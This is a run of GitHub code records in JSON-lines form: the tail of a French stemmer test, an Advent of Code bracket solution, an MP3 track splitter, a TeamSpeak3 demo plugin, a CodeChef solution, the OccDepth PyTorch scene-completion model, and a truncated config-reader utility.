print(stemmer.get_stems('aimerai azerty'))\r\n\r\n\r\nif __name__ == '__main__':\r\n test_french_stemmer()\r\n","repo_name":"Alain-T/SocialNetworks","sub_path":"Twitter/Twitter-01/FrenchStemmer.py","file_name":"FrenchStemmer.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"30644008480","text":"import statistics\r\n\r\nwith open(\"./input.txt\") as file:\r\n data = file.read().splitlines()\r\n\r\nopening_brackets = \"([{<\"\r\n\r\nmatching_brackets = {\"(\": \")\", \"[\": \"]\", \"{\": \"}\", \"<\": \">\"}\r\n\r\nscore_table = str.maketrans({\")\": \"1\", \"]\": \"2\", \"}\": \"3\", \">\": \"4\"})\r\n\r\n\r\ndef complete(line):\r\n expected = []\r\n for char in line:\r\n if char in opening_brackets:\r\n expected.append(matching_brackets[char])\r\n else:\r\n c = expected.pop()\r\n if c != char:\r\n return False\r\n return \"\".join(reversed(expected))\r\n\r\n\r\ndef score(completed):\r\n return int(completed.translate(score_table), 5)\r\n\r\n\r\nscores = []\r\nfor line in data:\r\n x = complete(line)\r\n if x:\r\n scores.append(score(x))\r\nprint(statistics.median(scores))\r\n","repo_name":"advay168/advent-of-code","sub_path":"2021/day10/solution-part-2.py","file_name":"solution-part-2.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"70262212382","text":"from pydub import AudioSegment\nfrom collections import namedtuple\nimport os\n\nTrack = namedtuple('Track', ['title', 'time'])\n\nclass SourceAudio:\n def __init__(self, path):\n self.path = path\n self.title, self.fmt = path.split('.', 1)\n print(\"Opening file.\")\n self.audio_file_segment = AudioSegment.from_file(path, self.fmt)\n\n def set_tracks(self, album_info):\n with open(album_info) as info:\n info = map(lambda x : x.strip().split('-') ,info.readlines())\n self.tracks = [Track(title.strip(), min_to_milisenconds(start.strip())) for start, title in info]\n\n def cut_audio(self):\n start = 0\n self.audios = []\n for i in range(len(self.tracks)-1):\n self.audios.append(self.audio_file_segment[self.tracks[i].time:self.tracks[i+1].time])\n else:\n self.audios.append(self.audio_file_segment[self.tracks[i].time:])\n\n def save_files(self):\n artist, album = map(lambda x: x.strip(), self.title.split(\"-\", 1))\n cmd = 'mkdir '+ \"_\".join([artist, album])\n os.system(cmd)\n for i,audio in enumerate(self.audios):\n track_path = \"./\"+\"_\".join([artist, album])+\"/\"+str(i+1)+\"-\"+\".\".join([self.tracks[i].title,self.fmt]) \n audio.export(track_path, format=self.fmt, tags={\n 'artist': artist, 'album': album,\n })\n \ndef min_to_milisenconds(time):\n min, sec = map(int, time.split(':'))\n return((min*60)+sec)*1000\n\n\nx = SourceAudio(\"Windows96 - Nematophy.mp3\")\nx.set_tracks(\"album_tracks.txt\")\nx.cut_audio()\nx.save_files()","repo_name":"LucasCarrias/Youtube-audio-splitter","sub_path":"SourceAudio.py","file_name":"SourceAudio.py","file_ext":"py","file_size_in_byte":1605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"14836979277","text":"from ts3tools import ts3tools\nimport time\n\n# plugin name (must be unique!)\nname = 'test'\nbase = None\n\n# initial method (called from ts3eventscripts)\ndef setup(ts3base):\n global base\n # get ts3base, it's needed for nearly everything\n base = ts3base\n\n # register plugin function as callback\n #base.register_callback(name, 'ts3.loop', test)\n\n\ndef test(values):\n global app2\n time.sleep(5)\n base.send_receive('sendtextmessage targetmode=2 target=1 msg=' + ts3tools.escape_text('This is a test message!'))\n base.execute_callback(name + '.test', {})\n","repo_name":"Kandru/TS3eventscripts","sub_path":"plugins/demo/demo_test.py","file_name":"demo_test.py","file_ext":"py","file_size_in_byte":571,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"7"} +{"seq_id":"14933001610","text":"# 2 Problem Statement Link : https://www.codechef.com/JULY20B/problems/CRDGAME\n\n# Solution :\nfor _ in range(int(input())):\n\tn = int(input())\n\tchef_ans = morty_ans = 0\n\tfor i in range(n):\n\t\tchef, morty = map(int, input().split())\n\t\tif chef < 10 and morty < 10:\n\t\t\tif chef > morty:\n\t\t\t\tchef_ans += 1\n\t\t\telif morty > chef:\n\t\t\t\tmorty_ans += 1\n\t\t\telse:\n\t\t\t\tchef_ans += 1\n\t\t\t\tmorty_ans += 1\n\t\telif chef > 9 and morty < 10:\n\t\t\tchef_sum = 0\n\t\t\twhile chef > 0:\n\t\t\t\trem = chef % 10\n\t\t\t\tchef_sum += rem\n\t\t\t\tchef = chef // 10\n\t\t\tif chef_sum > morty:\n\t\t\t\tchef_ans += 1\n\t\t\telif morty > chef_sum:\n\t\t\t\tmorty_ans += 1\n\t\t\telse:\n\t\t\t\tchef_ans += 1\n\t\t\t\tmorty_ans += 1\n\t\telif chef < 10 and morty > 9:\n\t\t\tmorty_sum = 0\n\t\t\twhile morty > 0:\n\t\t\t\trem = morty % 10\n\t\t\t\tmorty_sum += rem\n\t\t\t\tmorty = morty // 10\n\t\t\tif chef > morty_sum:\n\t\t\t\tchef_ans += 1\n\t\t\telif morty_sum > chef:\n\t\t\t\tmorty_ans += 1\n\t\t\telse:\n\t\t\t\tchef_ans += 1\n\t\t\t\tmorty_ans += 1\n\t\telif morty > 9 and chef > 9:\n\t\t\tchef_sum = 0\n\t\t\twhile chef > 0:\n\t\t\t\trem = chef % 10\n\t\t\t\tchef_sum += rem\n\t\t\t\tchef = chef // 10\n\t\t\tmorty_sum = 0\n\t\t\twhile morty > 0:\n\t\t\t\trem = morty % 10\n\t\t\t\tmorty_sum += rem\n\t\t\t\tmorty = morty // 10\n\t\t\tif chef_sum > morty_sum:\n\t\t\t\tchef_ans += 1\n\t\t\telif morty_sum > chef_sum:\n\t\t\t\tmorty_ans += 1\n\t\t\telse:\n\t\t\t\tchef_ans += 1\n\t\t\t\tmorty_ans += 1\n\tif chef_ans > morty_ans:\n\t\tprint(0, chef_ans)\n\telif morty_ans > chef_ans:\n\t\tprint(1, morty_ans)\n\telse:\n\t\tprint(2, chef_ans)\n","repo_name":"sonushahuji4/CodeChef","sub_path":"Long Challenge/July Challenge 2020 Division 2/Chef and Card Game.py","file_name":"Chef and Card Game.py","file_ext":"py","file_size_in_byte":1412,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"20354997792","text":"import pytorch_lightning as pl\nimport torch\nimport torch.nn as nn\nfrom occdepth.models.unet3d_nyu import UNet3D as UNet3DNYU\nfrom occdepth.models.unet3d_kitti import UNet3D as UNet3DKitti\n\nfrom occdepth.loss.sscMetrics import SSCMetrics\nfrom occdepth.loss.ssc_loss import sem_scal_loss, CE_ssc_loss, KL_sep, geo_scal_loss\nfrom occdepth.models.SFA import SFA\nfrom occdepth.loss.CRP_loss import compute_super_CP_multilabel_loss\nimport numpy as np\nimport torch.nn.functional as F\nfrom occdepth.models.unet2d import UNet2D\nfrom torch.optim.lr_scheduler import MultiStepLR\nfrom torch.utils.checkpoint import checkpoint\n\n# flosp_depth\nfrom occdepth.models.flosp_depth.flosp_depth import FlospDepth\nfrom occdepth.models.flosp_depth import flosp_depth_conf_map\n\n# depth loss\nfrom occdepth.loss.depth_loss import DepthClsLoss\n\n# PCA\nfrom sklearn.decomposition import PCA\n\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n\nclass OccDepth(pl.LightningModule):\n def __init__(\n self,\n class_names,\n class_weights,\n class_weights_occ=None,\n full_scene_size=None,\n project_res=[],\n config=None,\n infer_mode=False,\n ):\n super().__init__()\n\n self.project_res = project_res\n self.full_scene_size = full_scene_size\n self.class_names = class_names\n self.class_weights = class_weights\n self.class_weights_occ = class_weights_occ\n # parse config\n self.dataset = config.dataset\n self.frustum_size = config.frustum_size\n self.project_scale = config.project_scale\n self.n_relations = config.n_relations\n self.lr = config.lr\n self.weight_decay = config.weight_decay\n self.fp_loss = config.fp_loss\n self.frustum_size = config.frustum_size\n self.context_prior = config.context_prior\n self.relation_loss = config.relation_loss\n self.CE_ssc_loss = config.CE_ssc_loss\n self.sem_scal_loss = config.sem_scal_loss\n self.geo_scal_loss = config.geo_scal_loss\n\n self.n_classes = config.n_classes\n self.feature = config.feature\n self.feature_2d_oc = config.feature_2d_oc\n self.trans_2d_to_3d = config.trans_2d_to_3d\n self.cascade_cls = config.cascade_cls\n self.occluded_cls = config.occluded_cls\n self.sem_step_decay_loss = config.sem_step_decay_loss\n\n # multi_view_mode\n self.multi_view_mode = config.multi_view_mode\n self.share_2d_backbone_gradient = config.share_2d_backbone_gradient\n\n # cascade cls\n print(\"INFO: Use cascade cls: {}\".format(self.cascade_cls))\n\n # occluded cls\n print(\"INFO: Use occluded cls: {}\".format(self.occluded_cls))\n\n # onnx\n self.infer_mode = infer_mode\n if self.infer_mode:\n self.context_prior = False\n\n # depth gt\n self.use_stereo_depth_gt = config.use_stereo_depth_gt\n self.use_lidar_depth_gt = config.use_lidar_depth_gt\n self.use_depth_gt = config.use_depth_gt\n assert not (\n config.use_stereo_depth_gt and config.use_lidar_depth_gt\n ), \"only with one depth data supported.\"\n self.with_depth_gt = (\n self.use_stereo_depth_gt or self.use_lidar_depth_gt or self.use_depth_gt\n )\n self.depth_loss_w = config.depth_loss_weight\n\n if self.dataset == \"NYU\":\n self.net_3d_decoder = UNet3DNYU(\n self.n_classes,\n nn.BatchNorm3d,\n n_relations=self.n_relations,\n feature=self.feature,\n full_scene_size=self.full_scene_size,\n context_prior=self.context_prior,\n cascade_cls=self.cascade_cls,\n infer_mode=self.infer_mode,\n )\n elif self.dataset == \"kitti\":\n self.net_3d_decoder = UNet3DKitti(\n self.n_classes,\n nn.BatchNorm3d,\n project_scale=self.project_scale,\n feature=self.feature,\n full_scene_size=self.full_scene_size,\n context_prior=self.context_prior,\n cascade_cls=self.cascade_cls,\n occluded_cls=self.occluded_cls,\n infer_mode=self.infer_mode,\n )\n self.net_rgb = UNet2D.build(\n out_feature=self.feature_2d_oc,\n use_decoder=True,\n backbone_2d_name=config.backbone_2d_name,\n return_up_feats=config.return_up_feats,\n )\n\n # log hyperparameters\n self.save_hyperparameters()\n\n self.train_metrics = SSCMetrics(self.n_classes)\n self.val_metrics = SSCMetrics(self.n_classes)\n self.test_metrics = SSCMetrics(self.n_classes)\n\n # init 2d-3d transformation\n self.init_2d_to_3d_trans(config)\n\n # step decay loss\n print(\"INFO: Use step decay loss: {}\".format(self.sem_step_decay_loss))\n batch_size = config.batch_size_per_gpu * config.n_gpus\n if self.dataset == \"kitti\":\n self.total_batch = (3834 // batch_size) * 30\n elif self.dataset == \"NYU\":\n self.total_batch = (795 // batch_size) * 30\n else:\n raise NotImplementedError(self.dataset)\n self.cur_batch = 0\n\n\n def _init_reduce_weight(self):\n torch.nn.init.kaiming_normal_(self.reduce_conv.weight)\n\n def init_2d_to_3d_trans(self, config):\n # 2d->3d transformation\n print(\n \"INFO: Selected 2d->3d transformation method: {}\".format(\n self.trans_2d_to_3d\n )\n )\n\n if self.trans_2d_to_3d == \"flosp\":\n self.projects = {}\n self.scale_2ds = [1, 2, 4, 8] # 2D scales\n for scale_2d in self.scale_2ds:\n self.projects[str(scale_2d)] = SFA(\n config.full_scene_size,\n project_scale=self.project_scale,\n dataset=self.dataset,\n )\n\n self.projects = nn.ModuleDict(self.projects)\n elif self.trans_2d_to_3d == \"flosp_depth\":\n self.projects = {}\n self.scale_2ds = [1, 2, 4, 8] # 2D scales\n for scale_2d in self.scale_2ds:\n self.projects[str(scale_2d)] = SFA(\n config.full_scene_size,\n project_scale=self.project_scale,\n dataset=self.dataset,\n )\n\n self.projects = nn.ModuleDict(self.projects)\n self.flosp_depth_conf = flosp_depth_conf_map[self.dataset]\n self.flosp_depth_conf.update(\n {\n \"scene_size\": config.full_scene_size,\n \"project_scale\": config.project_scale,\n \"output_channels\": config.feature,\n \"depth_net_conf\": dict(\n in_channels=config.feature,\n mid_channels=self.flosp_depth_conf[\"depth_net_conf\"][\n \"mid_channels\"\n ],\n ),\n \"return_depth\": self.with_depth_gt,\n \"infer_mode\": self.infer_mode,\n }\n )\n self.flosp_depth = FlospDepth(**self.flosp_depth_conf)\n if self.with_depth_gt:\n self.depth_loss_fn = DepthClsLoss(\n downsample_factor=self.flosp_depth_conf[\"downsample_factor\"],\n d_bound=self.flosp_depth_conf[\"d_bound\"],\n )\n else:\n raise NotImplementedError(f\"{self.trans_2d_to_3d} is not supported yet.\")\n\n def process_rgbs(self, img, batch, n_views):\n depth_key = \"gt_depth\"\n x_rgb=[]\n x_rgb.append(self.net_rgb(img[:,0]))\n for i in range(1,n_views):\n if(self.share_2d_backbone_gradient):#save gpu memory, lower score\n with torch.no_grad():\n x_single_rgb=self.net_rgb(img[:,i])\n x_rgb.append(x_single_rgb)\n else: #need more gpu memory, higher score\n x_single_rgb=self.net_rgb(img[:,i])\n x_rgb.append(x_single_rgb)\n\n # ####use depth to generate right image######\n if(n_views==1 and depth_key in batch):\n if('virtual_bf' in batch):\n bf = batch[\"virtual_bf\"][0].to(device)\n x_rgb_virtual={}\n for scale_2d in self.project_res:\n x_rgb_virtual[\"1_\" + str(scale_2d)] = self.generate_virtual_img(batch,x_rgb[0][\"1_\" + str(scale_2d)],scale_2d,bf)\n x_rgb.append(x_rgb_virtual)\n n_views = 2\n\n return x_rgb,n_views\n\n def generate_virtual_img(self,batch,x_single_rgb,scale_2d,bf):\n depth_key = \"gt_depth\"\n depth_mat = batch[depth_key].to(device)\n\n x_scale = torch.clone(x_single_rgb)\n n_bs_scale, c_scale, h_scale, w_scale = x_scale.shape\n depth_mat_scale = nn.functional.interpolate(depth_mat,\n size=(h_scale,w_scale),\n mode=\"bilinear\",\n align_corners=False,\n )\n\n bf_scale = bf/int(scale_2d)\n grid_dx = torch.div(bf_scale, depth_mat_scale).type_as(x_scale)\n grid_dx = torch.where(torch.isinf(grid_dx), torch.full_like(grid_dx, 0), grid_dx)\n h_d = torch.arange(-1,1,2/h_scale)\n w_d = torch.arange(-1,1,2/w_scale)\n meshx, meshy = torch.meshgrid((h_d, w_d))\n grid = []\n for i in range(n_bs_scale):\n grid.append(torch.stack((meshy, meshx), axis=2))\n grid = torch.stack(grid).to(device).type_as(grid_dx) # add batch dim\n grid_dx = grid_dx * 2/w_scale ## scale dx\n \n grid[:,:,:,0] = grid[:,:,:,0] + grid_dx[0,...]\n x_scale_new=nn.functional.grid_sample(x_scale, grid, mode='bilinear', padding_mode='border', align_corners=False)\n\n return x_scale_new\n \n def _forward_2d_to_3d(self, batch, x_rgb, img, bs, vox_origin):\n depth_pred = None\n if self.trans_2d_to_3d in [\"flosp\", \"flosp_depth\"]:\n x3ds_ori = []\n for i in range(bs):\n x3d = None\n for scale_2d in self.project_res:\n # project features at each 2D scale to target 3D scale\n scale_2d = int(scale_2d)\n projected_pix = batch[\n \"projected_pix_{}\".format(self.project_scale)\n ][i].to(device)\n fov_mask = batch[\"fov_mask_{}\".format(self.project_scale)][i].to(\n device\n )\n n_views=len(x_rgb)\n x_rgb_reshape = []\n for j in range(n_views):\n x_rgb_reshape.append(x_rgb[j][\"1_\" + str(scale_2d)])\n x_rgb_reshape = torch.stack(x_rgb_reshape,1 ).to(device)\n\n # Sum all the 3D features\n if x3d is None:\n x3d = self.projects[str(scale_2d)](\n x_rgb_reshape[i],\n projected_pix // scale_2d,\n fov_mask,\n )\n else:\n x3d += self.projects[str(scale_2d)](\n x_rgb_reshape[i],\n projected_pix // scale_2d,\n fov_mask,\n )\n\n x3ds_ori.append(x3d)\n x3ds = torch.stack(x3ds_ori)\n if self.trans_2d_to_3d == \"flosp_depth\":\n rgb_feat_layer = \"1_{}\".format(\n self.flosp_depth_conf[\"downsample_factor\"]\n )\n x_rgb_reshape = []\n if self.dataset == \"NYU\":\n n_views = 1\n for j in range(n_views):\n x_rgb_reshape.append(x_rgb[j][rgb_feat_layer])\n img_feat = torch.stack(x_rgb_reshape,1 ).to(device)\n\n if self.infer_mode:\n grids = batch[\"grids\"]\n scaled_pixel_size = batch[\"scaled_pixel_size\"]\n input_kwargs = {\n \"img_feat\": img_feat,\n \"grids\": grids,\n \"scaled_pixel_size\": scaled_pixel_size,\n }\n else:\n input_kwargs = {\n \"img_feat\": img_feat,\n \"cam_k\": batch[\"cam_k\"],\n \"T_velo_2_cam\": batch[\"T_velo_2_cam\"],\n \"ida_mats\": batch[\"ida_mats\"],\n \"vox_origin\": vox_origin,\n }\n if self.with_depth_gt:\n x3ds_depth, depth_pred = self.flosp_depth(\n **input_kwargs,\n )\n else:\n x3ds_depth = self.flosp_depth(\n **input_kwargs,\n )\n # TODO, tartanair dataset may need permute operation?\n if self.dataset == \"NYU\":\n # TODO, more general way to avoid this operation\n x3ds_depth = x3ds_depth.permute(0, 1, 2, 4, 3).contiguous()\n\n x3ds = x3ds * x3ds_depth * 100\n else:\n raise NotImplementedError(f\"{self.trans_2d_to_3d} is not supported yet.\")\n return x3ds, depth_pred\n\n def forward(self, batch):\n img = batch[\"img\"].to(device)\n bs, n_views, c, h, w = img.shape\n out = {}\n \"\"\"\n get feature map dict\n '1_1': 16x370x1220\n '1_2': 16x185x610\n '1_4': 16x93x305\n '1_8': 16x47x153\n '1_16': 16x24x77\n \"\"\"\n x_rgb, n_views = self.process_rgbs(img,batch,n_views)\n\n if self.dataset == \"NYU\":\n vox_origin = batch[\"vox_origin\"]\n elif self.dataset == \"tartanair\":\n vox_origin = batch[\"vox_origin\"]\n elif self.dataset == \"kitti\":\n vox_origin = None\n else:\n raise NotImplementedError(\n \"dataset is not supported: {}\".format(self.dataset)\n )\n\n x3ds, depth_pred = self._forward_2d_to_3d(batch, x_rgb, img, bs, vox_origin)\n\n input_dict = {\"x3d\": x3ds}\n net_out = self.net_3d_decoder(input_dict)\n out.update(net_out)\n if self.with_depth_gt and self.trans_2d_to_3d==\"flosp_depth\":\n out[\"depth_pred\"] = depth_pred\n return out\n\n def step(self, batch, step_type, metric):\n bs = len(batch[\"img\"])\n loss = 0\n out_dict = self(batch)\n ssc_pred = out_dict[\"ssc_logit\"]\n target = batch[\"target\"]\n cur_epoch = int((self.cur_batch / self.total_batch) * 30)\n\n if self.context_prior:\n P_logits = out_dict[\"P_logits\"]\n CP_mega_matrices = batch[\"CP_mega_matrices\"]\n\n if self.relation_loss:\n loss_rel_ce = compute_super_CP_multilabel_loss(\n P_logits, CP_mega_matrices\n )\n loss += loss_rel_ce\n self.log(\n step_type + \"/loss_relation_ce_super\",\n loss_rel_ce.detach(),\n on_epoch=True,\n sync_dist=True,\n )\n\n class_weight = self.class_weights.type_as(batch[\"img\"])\n if self.CE_ssc_loss:\n loss_ssc = CE_ssc_loss(ssc_pred, target, class_weight)\n loss += loss_ssc\n self.log(\n step_type + \"/loss_ssc\",\n loss_ssc.detach(),\n on_epoch=True,\n sync_dist=True,\n )\n if self.cascade_cls:\n occ_pred = out_dict[\"occ_logit\"]\n target_occ = target.clone()\n target_occ[(target_occ != 0) & (target_occ != 255)] = 1\n class_weight_occ = self.class_weights_occ.type_as(batch[\"img\"])\n loss_occ = CE_ssc_loss(occ_pred, target_occ, class_weight_occ)\n loss += loss_occ\n self.log(\n step_type + \"/loss_occ\",\n loss_occ.detach(),\n on_epoch=True,\n sync_dist=True,\n )\n if self.occluded_cls and \"occluded\" in batch:\n occluded_pred = out_dict[\"occluded_logit\"]\n target_occluded = batch[\"occluded\"]\n class_weight_occluded = torch.FloatTensor([1, 1])\n class_weight_occluded = class_weight_occluded.type_as(batch[\"img\"])\n loss_occluded = CE_ssc_loss(\n occluded_pred, target_occluded, class_weight_occluded\n )\n loss += loss_occluded\n self.log(\n step_type + \"/loss_occluded\",\n loss_occluded.detach(),\n on_epoch=True,\n sync_dist=True,\n )\n\n if self.with_depth_gt and self.trans_2d_to_3d==\"flosp_depth\" and \"gt_depth\" in batch:\n if self.use_stereo_depth_gt:\n depth_pred = out_dict[\"depth_pred\"][:, 0].unsqueeze(\n 1\n ) # only left cam depth\n elif self.use_lidar_depth_gt:\n depth_pred = out_dict[\"depth_pred\"]\n elif self.use_depth_gt:\n depth_pred = out_dict[\"depth_pred\"]\n else:\n raise NotImplementedError(\"Only stereo depth gt supported.\")\n depth_gt = batch[\"gt_depth\"]\n loss_depth = (\n self.depth_loss_fn.get_depth_loss(depth_gt, depth_pred)\n * self.depth_loss_w\n )\n loss += loss_depth\n\n self.log(\n step_type + \"/loss_depth\",\n loss_depth.detach(),\n on_epoch=True,\n sync_dist=True,\n )\n\n if self.sem_scal_loss:\n if self.sem_step_decay_loss:\n sem_decay_scale = max(0.1, (1 - self.cur_batch / self.total_batch))\n else:\n sem_decay_scale = 1.0\n loss_sem_scal = sem_scal_loss(ssc_pred, target) * sem_decay_scale\n loss += loss_sem_scal\n self.log(\n step_type + \"/loss_sem_scal\",\n loss_sem_scal.detach(),\n on_epoch=True,\n sync_dist=True,\n )\n\n if self.geo_scal_loss:\n loss_geo_scal = geo_scal_loss(ssc_pred, target)\n loss += loss_geo_scal\n self.log(\n step_type + \"/loss_geo_scal\",\n loss_geo_scal.detach(),\n on_epoch=True,\n sync_dist=True,\n )\n\n if self.fp_loss and step_type != \"test\":\n frustums_masks = torch.stack(batch[\"frustums_masks\"])\n frustums_class_dists = torch.stack(\n batch[\"frustums_class_dists\"]\n ).float() # (bs, n_frustums, n_classes)\n n_frustums = frustums_class_dists.shape[1]\n\n pred_prob = F.softmax(ssc_pred, dim=1)\n batch_cnt = frustums_class_dists.sum(0) # (n_frustums, n_classes)\n\n frustum_loss = 0\n frustum_nonempty = 0\n for frus in range(n_frustums):\n frustum_mask = frustums_masks[:, frus, :, :, :].unsqueeze(1).float()\n prob = frustum_mask * pred_prob # bs, n_classes, H, W, D\n prob = prob.reshape(bs, self.n_classes, -1).permute(1, 0, 2)\n prob = prob.reshape(self.n_classes, -1)\n cum_prob = prob.sum(dim=1) # n_classes\n\n total_cnt = torch.sum(batch_cnt[frus])\n total_prob = prob.sum()\n if total_prob > 0 and total_cnt > 0:\n frustum_target_proportion = batch_cnt[frus] / total_cnt\n cum_prob = cum_prob / total_prob # n_classes\n frustum_loss_i = KL_sep(cum_prob, frustum_target_proportion)\n frustum_loss += frustum_loss_i\n frustum_nonempty += 1\n frustum_loss = frustum_loss / frustum_nonempty\n loss += frustum_loss\n self.log(\n step_type + \"/loss_frustums\",\n frustum_loss.detach(),\n on_epoch=True,\n sync_dist=True,\n )\n\n y_true = target.cpu().numpy()\n y_pred = ssc_pred.detach().cpu().numpy()\n y_pred = np.argmax(y_pred, axis=1)\n metric.add_batch(y_pred, y_true)\n\n self.log(step_type + \"/loss\", loss.detach(), on_epoch=True, sync_dist=True)\n\n return loss\n\n def training_step(self, batch, batch_idx):\n self.cur_batch += 1\n return self.step(batch, \"train\", self.train_metrics)\n\n def validation_step(self, batch, batch_idx):\n self.step(batch, \"val\", self.val_metrics)\n\n def validation_epoch_end(self, outputs):\n metric_list = [(\"train\", self.train_metrics), (\"val\", self.val_metrics)]\n\n for prefix, metric in metric_list:\n stats = metric.get_stats()\n for i, class_name in enumerate(self.class_names):\n self.log(\n \"{}_SemIoU/{}\".format(prefix, class_name),\n stats[\"iou_ssc\"][i],\n sync_dist=True,\n )\n self.log(\"{}/mIoU\".format(prefix), stats[\"iou_ssc_mean\"], sync_dist=True)\n self.log(\"{}/IoU\".format(prefix), stats[\"iou\"], sync_dist=True)\n self.log(\"{}/Precision\".format(prefix), stats[\"precision\"], sync_dist=True)\n self.log(\"{}/Recall\".format(prefix), stats[\"recall\"], sync_dist=True)\n metric.reset()\n\n def test_step(self, batch, batch_idx):\n self.step(batch, \"test\", self.test_metrics)\n\n def test_epoch_end(self, outputs):\n classes = self.class_names\n metric_list = [(\"test\", self.test_metrics)]\n for prefix, metric in metric_list:\n print(\"{}======\".format(prefix))\n stats = metric.get_stats()\n print(\n \"Precision={:.4f}, Recall={:.4f}, IoU={:.4f}\".format(\n stats[\"precision\"] * 100, stats[\"recall\"] * 100, stats[\"iou\"] * 100\n )\n )\n print(\"class IoU: {}, \".format(classes))\n print(\n \" \".join([\"{:.4f}, \"] * len(classes)).format(\n *(stats[\"iou_ssc\"] * 100).tolist()\n )\n )\n print(\"mIoU={:.4f}\".format(stats[\"iou_ssc_mean\"] * 100))\n metric.reset()\n\n def configure_optimizers(self):\n if self.dataset == \"NYU\":\n optimizer = torch.optim.AdamW(\n self.parameters(), lr=self.lr, weight_decay=self.weight_decay\n )\n scheduler = MultiStepLR(optimizer, milestones=[18, 24], gamma=0.4)\n return [optimizer], [scheduler]\n elif self.dataset == \"kitti\":\n optimizer = torch.optim.AdamW(\n self.parameters(), lr=self.lr, weight_decay=self.weight_decay\n )\n scheduler = MultiStepLR(optimizer, milestones=[18, 24], gamma=0.4)\n return [optimizer], [scheduler]\n elif self.dataset == \"tartanair\":\n optimizer = torch.optim.AdamW(\n self.parameters(), lr=self.lr, weight_decay=self.weight_decay\n )\n scheduler = MultiStepLR(optimizer, milestones=[20], gamma=0.1)\n return [optimizer], [scheduler]\n\n\nif __name__ == \"__main__\":\n import hydra, pickle,os\n\n from occdepth.data.semantic_kitti.params import (\n semantic_kitti_class_frequencies,\n kitti_class_names,\n )\n from occdepth.data.NYU.params import (\n class_weights as NYU_class_weights,\n NYU_class_names,\n )\n from occdepth.data.tartanair.params import (\n class_weights as tartanair_class_weights,\n tartanair_class_names,\n )\n config_path= os.getenv('DATA_CONFIG')\n pwd_dir = os.path.abspath(os.path.join(config_path, \"../../../..\"))\n with open(os.path.join(pwd_dir,\"data.pkl\"), \"rb\") as f:\n fake_data = pickle.load(f)\n @hydra.main(config_name=config_path)\n def test_func(config):\n\n if config.dataset == \"kitti\":\n class_names = kitti_class_names\n class_weights = torch.from_numpy(\n 1 / np.log(semantic_kitti_class_frequencies + 0.001)\n )\n semantic_kitti_class_frequencies_occ = np.array(\n [\n semantic_kitti_class_frequencies[0],\n semantic_kitti_class_frequencies[1:].sum(),\n ]\n )\n class_weights_occ = torch.from_numpy(\n 1 / np.log(semantic_kitti_class_frequencies_occ + 0.001)\n )\n elif config.dataset == \"NYU\":\n class_names = NYU_class_names\n class_weights = NYU_class_weights # torch.FloatTensor([0.05, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1])\n class_weights_occ = torch.FloatTensor([0.05, 2])\n elif config.dataset == \"tartanair\":\n class_weights = tartanair_class_weights\n class_weights_occ = torch.FloatTensor([0.05, 2])\n class_names = tartanair_class_names\n\n # class_names = kitti_class_names\n project_res = [\"1\"]\n if config.project_1_2:\n project_res.append(\"2\")\n if config.project_1_4:\n project_res.append(\"4\")\n if config.project_1_8:\n project_res.append(\"8\")\n\n do_export_onnx = \"export_onnx\" in config and config.export_onnx == True\n do_model_thop = \"model_thop\" in config and config.model_thop == True\n infer_mode = do_export_onnx or do_model_thop\n\n model = OccDepth(\n full_scene_size=tuple(config.full_scene_size),\n project_res=project_res,\n class_names=class_names,\n class_weights=class_weights,\n class_weights_occ=class_weights_occ,\n infer_mode=infer_mode,\n config=config,\n )\n # 传入需要两个数据 一个是 正常传入网络的结构,一个是网络\n # 如果网络加载到cuda中,传入的数据也需要.cuda()\n model.to(device)\n res = model(fake_data)\n if do_model_thop:\n from thop import profile\n from thop import clever_format\n\n flops, params = profile(model, (fake_data,))\n # flops, params = profile(model, fake_data)\n flops, params = clever_format([flops, params], \"%.3f\")\n print(\"flops: \", flops)\n print(\"params: \", params)\n print(\"res\", [r.shape for r in res.values()])\n if do_export_onnx:\n print(\"Export onnx:\")\n torch.onnx.export(\n model,\n {\"batch\":fake_data},\n \"total_model.onnx\",\n opset_version=13,\n do_constant_folding=True,\n )\n\n test_func()\n","repo_name":"megvii-research/OccDepth","sub_path":"occdepth/models/OccDepth.py","file_name":"OccDepth.py","file_ext":"py","file_size_in_byte":27061,"program_lang":"python","lang":"en","doc_type":"code","stars":240,"dataset":"github-code","pt":"7"} +{"seq_id":"41074534494","text":"# -*- coding: utf-8 -*-\nimport configparser\nimport os\nfrom UtilTool.Util.BasePath import *\n\n#重写configparser 避免转化为小写\nclass MyConfigParser(configparser.ConfigParser):\n def __init__(self, defaults=None):\n configparser.ConfigParser.__init__(self, defaults=defaults)\n\n def optionxform(self, optionstr):\n return optionstr\n\n\"\"\"\n配置文件读写\n\"\"\"\nclass Conf:\n\t#系统配置文件\n\t@staticmethod\n\tdef getSysValue(key):\n\t\ttry:\n\t\t\tcf = configparser.ConfigParser()\n\t\t\tcf.read(SYS_DIR , encoding='UTF-8')\n\t\t\treturn cf.get(\"sys\", key)\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t@staticmethod\n\tdef setSysValue(key ,value):\n\t\ttry:\n\t\t\tcf = MyConfigParser()\n\t\t\tcf.read(SYS_DIR , encoding='UTF-8')\n\t\t\tcf.set(\"sys\", key ,value)\n\t\t\twith open(SYS_DIR, \"w\") as fw:\n\t\t\t\tcf.write(fw) # 使用write将修改内容写到文件中,替换原来config文件中内容\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t#mysql配置文件\n\t@staticmethod\n\tdef getDbValue(key):\n\t\ttry:\n\t\t\tcf = configparser.ConfigParser()\n\t\t\tcf.read(SQLDB_DIR , encoding='UTF-8')\n\t\t\treturn cf.get(\"mysqldb\", key)\n\t\texcept Exception as e:\n\t\t\traise e\n\n\t#mongodb配置文件\n\t@staticmethod\n\tdef getMongoDbValue(key):\n\t\ttry:\n\t\t\tcf = configparser.ConfigParser()\n\t\t\tcf.read(MONGO_DIR , encoding='UTF-8')\n\t\t\treturn cf.get(\"mongodb\", key)\n\t\texcept Exception as e:\n\t\t\traise e\n\nif 